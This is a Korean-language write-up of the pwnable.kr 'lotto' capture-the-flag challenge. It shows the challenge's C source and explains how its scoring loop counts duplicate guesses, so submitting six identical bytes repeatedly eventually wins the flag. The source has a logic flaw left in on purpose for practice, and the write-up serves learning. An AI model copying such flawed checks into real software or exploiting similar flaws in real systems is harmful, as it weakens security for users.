Pwnable.kr
- lotto -

ssh lotto@pwnable.kr -p2222
pw : guest

0. 문제 살펴보기

lotto - 2 pt [writeup]

Mommy! I made a lotto program for my homework.
do you want to play?

ssh lotto@pwnable.kr -p2222 (pw:guest)

pwned (6391) times. early 30 pwners are : mango

Flag? : auth

로또 프로그램을 만들었다고 한다.

1. SSH 접속 및 살펴보기

```
┌──(kali㉿kali)-[~]
└─$ ssh lotto@pwnable.kr -p2222
lotto@pwnable.kr's password:
 ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
|   \|  |__|  ||   \  /   ||   \ | |     /  _]    |  |/ ]|   \
|  o  )  |  |  ||  _  ||  o  ||  o  )| |    /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |    \ |    /
|  |  |  `  '  ||  |  ||  _  ||  O  ||     ||   [_  __ |     \|    \
|  |   \      / |  |  ||  |  ||     ||     ||     ||  .  ||  .  \
|__|    \_/\_/  |__|__||__|__||_____||_____||_____||__|__||__|\_||__|__|\_|

- Site admin : daehee87@khu.ac.kr
- irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
You have mail.
Last login: Wed Feb 14 03:14:53 2024 from 147.235.192.61
lotto@pwnable:~$
```

SSH를 이용해 상단에 표기해놓은 주소와 포트 번호로 접속한다.

```
lotto@pwnable:~$ ls
flag  lotto  lotto.c
lotto@pwnable:~$ cat lotto.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];
void play(){

        int i;
        printf("Submit your 6 lotto bytes : ");
        fflush(stdout);

        int r;
        r = read(0, submit, 6);

        printf("Lotto Start!\n");
        //sleep(1);

        // generate lotto numbers
        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1){
                printf("error. tell admin\n");
                exit(-1);
        }
        unsigned char lotto[6];
        if(read(fd, lotto, 6) != 6){
                printf("error2. tell admin\n");
                exit(-1);
        }
        for(i=0; i<6; i++){
                lotto[i] = (lotto[i] % 45) + 1;         // 1 ~ 45
        }
        close(fd);
```

```
        // calculate lotto score
        int match = 0, j = 0;
        for(i=0; i<6; i++){
                for(j=0; j<6; j++){
                        if(lotto[i] == submit[j]){
                                match++;
                        }
                }
        }

        // win!
        if(match == 6){
                system("/bin/cat flag");
        }
        else{
                printf("bad luck ... \n");
        }

}
void help(){
        printf("- nLotto Rule -\n");
        printf("nlotto is consisted with 6 random natural numbers less than 46\n");
        printf("your goal is to match lotto numbers as many as you can\n");
        printf("if you win lottery for *1st place*, you will get reward\n");
        printf("for more details, follow the link below\n");
        printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
        printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
int main(int argc, char* argv[]){

        // menu
        unsigned int menu;

        while(1){

                printf("- Select Menu -\n");
                printf("1. Play Lotto\n");
                printf("2. Help\n");
                printf("3. Exit\n");

                scanf("%d", &menu);

                switch(menu){
                        case 1:
                                play();
                                break;
                        case 2:
                                help();
                                break;
                        case 3:
                                printf("bye\n");
                                return 0;
                        default:
                                printf("invalid menu\n");
                                break;
                }
        }
        return 0;
}
```

디렉토리의 파일들을 살펴보자 C 코드 파일이 존재하여 확인해보니 위와 같은 코드를 알 수 있었다.
메인 함수에서는 메뉴를 선택하고, 1 번을 입력할 시, 플레이가 되는 것 같다.
play() 함수에서는 6 바이트를 입력 받고 랜덤 생성된 6 바이트와 비교하여 match 변수가 6 이 되면 flag 파일을 읽을 수 있는 것 같다.
2 번을 입력하면 help() 함수가 실행되고 lotto 와 관련된 설명이 나오는 것 같다.
3 번을 입력하면 프로그램이 종료된다.

※ /dev/urandom
난수를 출력해주는 장치이다.
같은 역할을 하는 /dev/random 이 존재하며 두 장치의 차이점은 보안성이다.
/dev/random 이 높은 품질의 암호화된 보안 무작위 출력을 제공한다.
/dev/urandom 도 신뢰할 수 있는 무작위 출력을 제공하지만, 보안성이 /dev/random 보다 낮다.

2. 취약점 파악

```
unsigned char submit[6];
```

```
int r;
r = read(0, submit, 6);
```

먼저, 입력을 받을 때, 6 바이트를 입력 받게 된다.
우리가 흔히 로또 숫자를 입력할 때는 1, 10, 22 와 같이 입력한다.
0 부터 9 까지의 숫자는 각 1 바이트씩 차지하여 submit 배열에 원소당 한 숫자만 저장된다.
하지만, 11 부터 45 까지의 숫자는 두 자릿수이므로 2 바이트씩 차지하여 한 원소에 두 자릿수를 차지하지 못한다.
또한, 우리가 char 형의 배열에 int 형 숫자인 0 부터 9 를 입력하면 이는 아스키코드로 변환되어 48 에서 57 이 저장된다.
따라서, 우리가 수를 입력하고 싶다면 아스키 코드에 해당하는 1 부터 45 의 문자를 삽입해야 한다.

이 부분에서의 문제점은 현재 중복 검사를 하고 있지 않다는 것이다.

로또는 1 부터 45 까지의 수를 중복 없이 6 개의 숫자를 고른다. 하지만, 현재 위의 코드에서는 이와 같은 중복을 허용하고 있다는 것이다. 이 뜻은 2, 2, 2, 2, 2, 2 와 같이 2 를 중복해서 6 번 입력할 수 있다는 것이다.

```
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
        for(j=0; j<6; j++){
                if(lotto[i] == submit[j]){
                        match++;
                }
        }
}
```

랜덤으로 뽑은 6 개의 수와 우리가 입력한 6 개의 수가 일치하는지 검사하는 부분이다.
이 부분의 순서를 보면 lotto 배열의 한 원소마다 submit 배열의 여섯 원소를 비교하고 있다.
위에서 우리는 6 바이트를 중복 없이 입력할 수 있다고 하였다.
그렇다면 lotto 배열의 한 원소만 우리가 중복으로 입력한 바이트와 일치한다면 match 의 값이 6 이 될 것이다.
우리는 이 점을 이용할 것이다.

3. 공격

```
Submit your 6 lotto bytes : !!!!!!
Lotto Start!
bad luck...
- Select Menu -
1. Play Lotto
2. Help
3. Exit
1
Submit your 6 lotto bytes : !!!!!!
Lotto Start!
bad luck...
- Select Menu -
1. Play Lotto
2. Help
3. Exit
1
Submit your 6 lotto bytes : !!!!!!
Lotto Start!
```

프로그램을 실행하고 1을 눌러 로또 게임을 플레이하였다.
이후, 1에서 45까지의 아스키 코드 중 하나인 느낌표를 6번 입력하여 6바이트를 submit 배열에 채웠다.
lotto 배열의 원소들은 랜덤으로 생성되기 때문에 우리는 이 원소 중 하나의 원소만 느낌표에 해당하는 바이트가 생성되기를 바라야 한다.
나는 대략 20번 정도만에 성공한 것 같다.
성공하면 flag 파일이 정상적으로 읽혀 우리가 찾고자 했던 flag를 얻을 수 있다.